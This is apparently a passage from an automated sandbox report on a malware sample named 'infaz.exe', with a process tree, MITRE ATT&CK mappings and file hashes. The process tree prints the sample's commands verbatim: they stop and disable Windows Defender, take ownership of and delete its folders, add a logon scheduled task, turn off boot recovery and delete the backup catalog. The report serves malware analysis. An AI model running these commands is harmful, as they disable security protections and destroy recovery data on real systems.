  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8460

C:\Users\Admin\AppData\Local\Temp\infaz.exe
C:\Users\Admin\AppData\Local\Temp\infaz.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:5192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5944
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Drops file in Program Files directory
  - Executes a command shell one-liner
  PID:5748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3208

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3256

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3968

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5716

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:5232

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6236

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:8240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

8AD687EEF26C5BA42176ECA5E00B1E27

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8AD687EEF26C5BA42176ECA5E00B1E27
Size 309B
SHA256 d3594fe9757981ad54ec622d8510f4b729e052b9f6553397be4041bbe1f89fe6
MD5 66f8c016f9d23c8e3f717aa380cf5e5b
SHA1 f17c053eaf628e41b2b6dc3c38283b657067de9e
SHA512 44d2b9ca2cced4547f11dc73018c21003471d62d9af05c06d11886c778a4115da13fd75d144bcc839cd97afab092087c9c07ec2b7fb46267b8f4db641b3424ee
TLSH
T183E07DD1F9DC578102F4F620D9A5C49F5EFC4085058EA0450540CBE656C3F95F8405CD
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 1KB
SHA256 791735e52af30a1c6a750df3837784a34cfe763332e5b45acfd731ddaa159b83
MD5 937eade2963d309f04ad7c807ba17156
SHA1 b183c87c76481b1e153a6bdfdc71945a59542a84
SHA512 5760b7dcfdcb1f5cd481e3d3c183b9c21996542896c602a0bdb665420693d3c67d3cacf98a2e18e437e6f7abf9263e0a18501930e02dabf2d748f749351820c8
TLSH
T1FB31C14EA2103067D946BF72D9CF7E83CDB1324AB7CAC46B18445E4229AAFC25F840C5
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
Size 529B
SHA256 39c727d70b8bdf5fc324233d0823555eb66ce846119609a22d1cebedbc3cf80c
MD5 f0102d5ebee72932834506783a39ffbf
SHA1 d6bf07be7cc02a713e0f8f94c124da8a15a016db
SHA512 621caa36ba48c567a850166b85b65474e96f860eca78fd1d3967e017f89a2c7919c6e6a21fef38136a5ae5ecfaade5b686be7476ba95253bfd023f71c0ce78a5
TLSH
T138F0C90C80182262CC04FF91CFD6AC93EC3A33427AD492031B444A420882F855FC16E9
MD5 SHA1 SHA512 TLSH

Submit Download

8AD687EEF26C5BA42176ECA5E00B1E27

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8AD687EEF26C5BA42176ECA5E00B1E27
Size 192B
SHA256 db12f709d29532b88890a439fb97616299cc5e90559ea0d726c0275780dc56e2
MD5 84447e542ccec345450d31e03bb585c4
SHA1 c4f1a8bbe058d499a86d0290f6472c1d5bfbc61f
SHA512 8f691bd4393c7352e5ed27dfd7cde2847b61d0d8b24b3f2396fb016b5bbfaea03985cb9a3bb81cdae1c67c274460b5a388199e5b5e6f7df9d7270638c1c2812c
TLSH
T11AC08C4532614534F2106BBF88D2961007F8E648D641870D6BB00618C50D6420F71D11
MD5 SHA1 SHA512 TLSH

Submit Download

8AD687EEF26C5BA42176ECA5E00B1E27

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8AD687EEF26C5BA42176ECA5E00B1E27
Size 192B
SHA256 8a3702da0371f26c82699944c98a9fb71a4f479bf5a2cdfbf4733924bed3588f
MD5 9f519938322e8738086acfc0b9c0d471
SHA1 6e5f24b0d8d9e990a58851c06371d115d6266831
SHA512 8545f333fb50292877f6b2fbf1b852268d0343f3228d885e034596fb104af982cc44bd73c27e7bc1ee18ad7374cfe8056947702e93c36af61347f33e97dbf584
TLSH
T160C0924437A58628F220833E9DE6A3110AF8EA40C591831AA3B007689A0AA821DB0E26
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 174B
SHA256 48c6b78fd775255ccdbead6a3f625ce058e7cf8311f63dfdae9b0b578198e8ba
MD5 e3cbfb5628f28e31064349d39aec33d9
SHA1 24a82c34f2e0ba1a0d0f5c59ea3d5027083f5a2e
SHA512 516cc5fe485bfea40e1a57ba8d1db7b3c68ad7f103009361021950d23e25ee9f869c5d5d6a8c4c1494c0bf67ac9853101134393e85322ba6374053fbebd1a79a
TLSH
T11FC02B043B31020DF420013F044101204BF7E100CEC683008F301016581C905D8B7E09
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Size 170B
SHA256 f62df96c82ae94f06a8ee34637f87b5e1956770a49534e3f8e2e709bc0f79702
MD5 734cd00100f26960559b488ce2fa0409
SHA1 eba9399c3df662e945040d6502fb1e04132516d0
SHA512 781684f14f5d80022f8885ce92adb2ef2344c49477c911070275c49ebc0d8c1cbbb350d40a7aae09773aed3720b243d181bda63d7cacfe669cdebf31d4d6a0bf
TLSH
T1ADC09B647352C157F1A5413F49E5571557F68151F647C30116784555461C7910875E41
MD5 SHA1 SHA512 TLSH

Submit Download

03ad4a53-a0d9-43a8-8030-31958847999a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\03ad4a53-a0d9-43a8-8030-31958847999a.tmp
Size 26KB
SHA256 bcbf37b0095f302579113c4d7e4330de3d2ced11ee9b463a324d4feff17af462
MD5 f129806dcc3a65ad9b65269fcd7f1f32
SHA1 e8bf2aa2d659ac096acee9f91856abb745192f54
SHA512 85726fae861c244bbaa3806ddf12f8eb45d9ee072f3ae409f771159064ae4ca8431effd763144383b667dc62daafb91f30e1a4f9c560c688000ebea6ba1e66ee
SSDEEP 384:nfiFiZcI63sNd8TUNTUlI425mgcyUOKzfMBaLXJIh5p7O6R2FeoCrgL/7Izio2:qFQ634wgsqUGBEUp7TRnOR
TLSH
T13FC25C71E894CEBBECEB8B96A74A7A07DDF0516389CC8AC4E9D85D1C008759D170BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

179fa0a2-ff7f-417c-8f02-74b4573d9e20.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\179fa0a2-ff7f-417c-8f02-74b4573d9e20.tmp
Size 25KB
SHA256 56696d33f1e888c1007cdda548f6bac58500332ebc85aa1fe9f9201c98a7186f
MD5 0a73a7072eb5d4af27972acdf29cf718
SHA1 6c4961cfd46bb173a1df0ba03107519111ab8e98
SHA512 e985171bf11a329065cfb2e2c6d3c26f3701234a28eb5934e7437bdfce4b9614ee4b47fcd21f37bc48cd179ff9eb3ea771e5d3a83f3d32bbdac4d3cf6b21cd84
SSDEEP 384:n0iFiZcITsNd8TUNTUlI4V5mgLTUa4iSzfHFaLXJIhbpwgL/7IzFo4:PFQT4wgTeUKS7FEmpsP
TLSH
T144C24A31E898CEBBECEF5A95A74A7A07DEF0416399DC8AC4E9D84D1C009319D170BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7eaf8fbc-71f0-40e7-ab80-31fe788499eb.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7eaf8fbc-71f0-40e7-ab80-31fe788499eb.tmp
Size 25KB
SHA256 888991a5bad381750aee3979c6142eedae3ef66e3e226d61d72161949d0147f8
MD5 23bc708079ffef3bf152c7d3fbd8e752
SHA1 b72e796c8054207c31f7901b7fba47b9118ed30b
SHA512 7b013cdaab0b175b0617b2cd0eed80c6a454c4e3325803aef56dcd66a098aac22ffa6aa36212fdc1e2ebce9f2f4763037be13aacc66f7ffbebdcb7e52c26b29d
SSDEEP 384:nSiFiZcITsNd8TUNTUlI4b5mgLGUAKzfMBaLXJIh5pwgL/7IzFo4:ZFQT4wgnLUABEUpsP
TLSH
T134B25B31E8A4CEBBECEF4B95A74A7A07DEF4016389DC8AC4E9D84D1D009719D170BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b7c7b629cf980554ba201945f9dbcd1c64e77cc796fc6d8aedbe4749bf0d2698
MD5 844568391c8d79f46705230953f1d7f9
SHA1 a9cd387c1c5dddc3c8fa77739776f3408ec661d4
SHA512 85a2814e7f88919b1be438203c2053dccaf55dcefa377da5cfa8fa7daf780315b818c6b4ce3d02d6cc49b8673ba077bf7b9fd475c54c978185fc230f70cd9b53
TLSH
T13CD02B449DC43A64E942243A22185281B14489550A07244041E303940C813B200840D1
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 db759c3c3934bf56069e934969b7b09f586fed452182c151bd01633b9b27bf87
MD5 ab67867c211ab688848725ec145740f0
SHA1 c091eed57aaf62fb4b4c293d73ad6ac09823e67a
SHA512 36ec910e186d3dbb24e30337fbca8d6f6bcd7a8f248a4d5f5379e227776ea65d887c40363ac37f303049490eb20265c1934114c84ce3526c2d0868d9793068a6
TLSH
T177D02B4899C83A64E956243A22185281B0448D550A07244041A303840C413B200840D1
MD5 SHA1 SHA512 TLSH

Submit Download

1c7e4879-e027-4637-98ee-16fda1ac0945.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\1c7e4879-e027-4637-98ee-16fda1ac0945.tmp
Size 12KB
SHA256 5c76e73c2201e3bd10d865da93b226be6badc24344af68ac911c389b9de7d500
MD5 2065ee0bd7dedc523e3de8ad31cf7469
SHA1 84d83dea4fd9a9e6fa2d7308d0bac48afb248bec
SHA512 7f8f7dd2e1fa19f4b1b00690c1451ed71619a6618c0ab795d12a2733c07055971dc0b6984d7d6061773ea06707631c0d4fcec297cadf04c57a4de82f2b0c4521
SSDEEP 192:sxZURnkS/fnsPQZZNIN8FzodpwyHW6+WNrJ3pYMyeIHFYmiIgjJJ:sxZUCS/fnsPOZNTO9HbBpqRlY3jz
TLSH
T1CE42D915AD28597B9CCBD219FA59BF52D3FD103290D41E48A6FCCA1C14EBADD220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

96e74904-1a81-419e-bed7-08b8f62bb20e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\96e74904-1a81-419e-bed7-08b8f62bb20e.tmp
Size 32KB
SHA256 81a59063470f7a0973b343f14e682f3b3160306aacc684651d012de9049f33e7
MD5 f142770b1d67dd8cd1e76d5192dd995a
SHA1 f959a0f48f9e5455d08f34da6eb985bdf06d8c16
SHA512 cc0ba6c9c4fa0b596b2ecf7890685fe11533c238b2e6b764d31337673e7eb14b2f643cb17ea1212eecc402e1bd82db62a9ef24906fd916351c3d2d8a988ba8d4
SSDEEP 768:0RyktjU7pLuLbvnWvDBlt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVvwLWLlMC7fnro4:0RyktjYEbvnWvDBltu1jaywLWLywf0LE
TLSH
T11BE2EB3F780CCB7E4FC04E9DDD6A7F8B6DA802CB9598894047FA945C02C67EA511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000067

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000067
Size 351KB
SHA256 3fe90e0e5787638faec9dbbe15ffed7f89575f952316d1aa1b4b1efd7f311f9e
MD5 177db3ca83855050190c58b9c71d3cd9
SHA1 21fb057e463f4237191d645a21a2a3400672d15b
SHA512 f2629f151db750cc78bad4416de2df6c6940a95b5dd1039b515d17cac48e5ca9ffb4bbc86a4e7d83ed3f62b520a294ce409028a5673fe28e69f4b8d48b4860f2
SSDEEP 6144:oaGsIQecJMjhhC8i6HmsMpFPUn8eIPUrXvT1IBgsiYkkQMI3hkKxdlxQQRFJD:TGsIQJJUhhCbgSs8eqCXfdYRpMh5xdlh
TLSH
T1E47422A98FF18BF50A635D4C6CBFC1250CB6C7E9818837582934B5004F99986FEDEA85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000068

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000068
Size 34KB
SHA256 192030ff181981e1efb8943f1dedb770e61d148a0c5e3bb947fffcb832a60900
MD5 dc08545bf25d6f2d25a195f59f788986
SHA1 b148968c2abe1d49c359a42fadfcd6d2811e4a51
SHA512 20ed50bc7ec063f926842527fc68518917efc9cdcfda94cd2c71e5984a5eac5e424deef11633d05d1df4bb521ef1dde906ede38699bc552c64ec42b25b2582ef
SSDEEP 768:gnBd63kaD1qJ9skOECPJ6K6LNJmp8Q36tXNXhX7:SBE0aDE7s4Y6buRojX7
TLSH
T1EEF2F15ABFBE56F0737832A16908B4D56E2C36E3C01B44C6ED4CF49C407846E1E9C6A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

038bd80084a18e7d_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\038bd80084a18e7d_0
Size 211B
SHA256 edcbf72037605c8b756031484956353304ecf111471724d61641e0d9c71619a4
MD5 b00c4aed8c866d0db8754b58cbf2b290
SHA1 cf40c89ec3dcd99dc468cd844f381b9f2a57f6e9
SHA512 de357bf0921ad02e408c28fb60bb1149556517f2ed9db196f7f0ecc788c85b9ef737bc69596722bc82aef56809d17b2ef392e9b0b5bbef42600d124483e23c4c
TLSH
T111D012935D561A02CE5987F0DA5F9198CA139249485C81DD4085A8B72E62DF2A205562
MD5 SHA1 SHA512 TLSH

Submit Download

038bd80084a18e7d_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\038bd80084a18e7d_0
Size 2KB
SHA256 50497b94bd7647eb508d51908972ff2fa2866254cb5290975361d7108c56505e
MD5 bf96d96d0330b624d28b5f1a68f420dd
SHA1 9fc78cda168e51ab92cc1e4a7341077032a7889b
SHA512 4d0328aec33a160b9080d4dae7939b87c94e1c30e66a9d0473013cf9b6df4673c89de571da96a89e3010947fd7efe36a6f10766d50095e8b7c6266f10f173323
TLSH
T10E51E9BB5F5D1E14CE648AB089F1D792DD06B02E549BC2EA50234F662E665E3C32D002
MD5 SHA1 SHA512 TLSH

Submit Download

3f4f043aede5a55d_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3f4f043aede5a55d_0
Size 249B
SHA256 e1e124eb741f6b33ba2979b87773a5127cfaf497b721d907314ad412a5623690
MD5 a850bf1f268eb3bf044d42803a63ab8d
SHA1 4713ff1fe840ae5d71b59ab1d397754625064f26
SHA512 a1b0729b8ae3ad38eebb2f0c623e33f76ebe9f2844c2a92f03ec8bc5e500b2e822ad06b47ed57f8d3f0596d4d02dd37652b91b896e727a5ffe6fddf9a66f1a79
TLSH
T1D8D0A7F70875484ACD0CC9F4CE6F9356E702C27084AC55D64221A3EA7311472A654811
MD5 SHA1 SHA512 TLSH

Submit Download

3f4f043aede5a55d_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3f4f043aede5a55d_0
Size 289B
SHA256 0a367faaf4e7463b50e2fb9012eeaf657423f9111ddc356c5826b522273f8061
MD5 e14a1d41f0270644a3289cacdd8d6c77
SHA1 cbf8a713cdb17e0e2d6aa5944445e7edab063eaa
SHA512 0150150ce0b104530326880318b189ea9dc7253b438fc7d80f4b5104387c96062137b2fa434660ec1a2d992ea63bb636ca143ed74f47b4b8e5e43d794341ca72
TLSH
T128D02BB704F28519DC1289B0CBFB03C6D703C034C8DD95DF4215AB9AA341433D708814
MD5 SHA1 SHA512 TLSH

Submit Download

c482174b859362c4_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c482174b859362c4_0
Size 822KB
SHA256 3b56deaac5f2bbfa92f4dc10c464771b81186985f295684453e62f7d818ec0da
MD5 f18821ed3ba22dd5f74dd8608937a9ae
SHA1 88c49f20e0e32dc48fae975d9ce38955714e2362
SHA512 800b12e6db745bee4344943c21c2d8dc153c9a41d7d97d8a4c60f3c4de37f25d99056d952c55863a14c8f289435cebb3e71bc41b917a796f59eb55c718b56e08
SSDEEP 24576:BLZzi7tV7T81m31DR3BLfjfZ8+BJvrZhz4V+L/PHDfv/z7Xv/IFDRhiqvN7nD1D4:i4D+vXl/X
TLSH
T1ED0508A1D781BF2DCA21A2F196939866B67900CD5D86F50773E0DB383C881D45FA7C8B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 8e6eb99d1aa5ef9fd793a0a3184b8c636c5bdf6f037b89ef3994906ab3fdb878
MD5 155bae943345fb226feacfe7b1433e53
SHA1 fd0819066cbd8058ed254ee910c44ebcc63047e3
SHA512 e1f79da83acf61146e7ba8f64272f0b767de78e85fc0a3a482eb5ba352a61357df5eaf78577ab0daf182576317010ba134d4067acc619ec5e3a0d9bb5832be1a
TLSH
T18A61B68D186FB094DBAFCE3085DAA95FFA740BF0A6835E23B3E2C4B8572B7141014044
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 fc7924b711b35b122eac94e7c00bc6d5104c50eb4c4fdacfbed67150cdefabd0
MD5 576631f4a5256412c1caa400364b33fa
SHA1 8b3b4dd1b0bcfda9d275cdec9bdfd3497f994c0b
SHA512 57f39c10a3f0f6f43399b83c0221d4ab51ce38216f87a1a971eff8a7564b7c69f29b9f0116d39f3fb6be0128a68ca97791973c9e0916c3202d328622474d6568
TLSH
T10361D88D186FB0A0DBAFCE3085DAA99FF6350BF0A2835E13B3D3C5B8672B7641010044
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 d54118273c8fd72579df0048671b1fbf8f96e34f1accb4b4373fc2af4b810e9e
MD5 86670b6092fc525954d6693270cf171f
SHA1 629ddbe87886f59332161a89e1afedd3b781f5e0
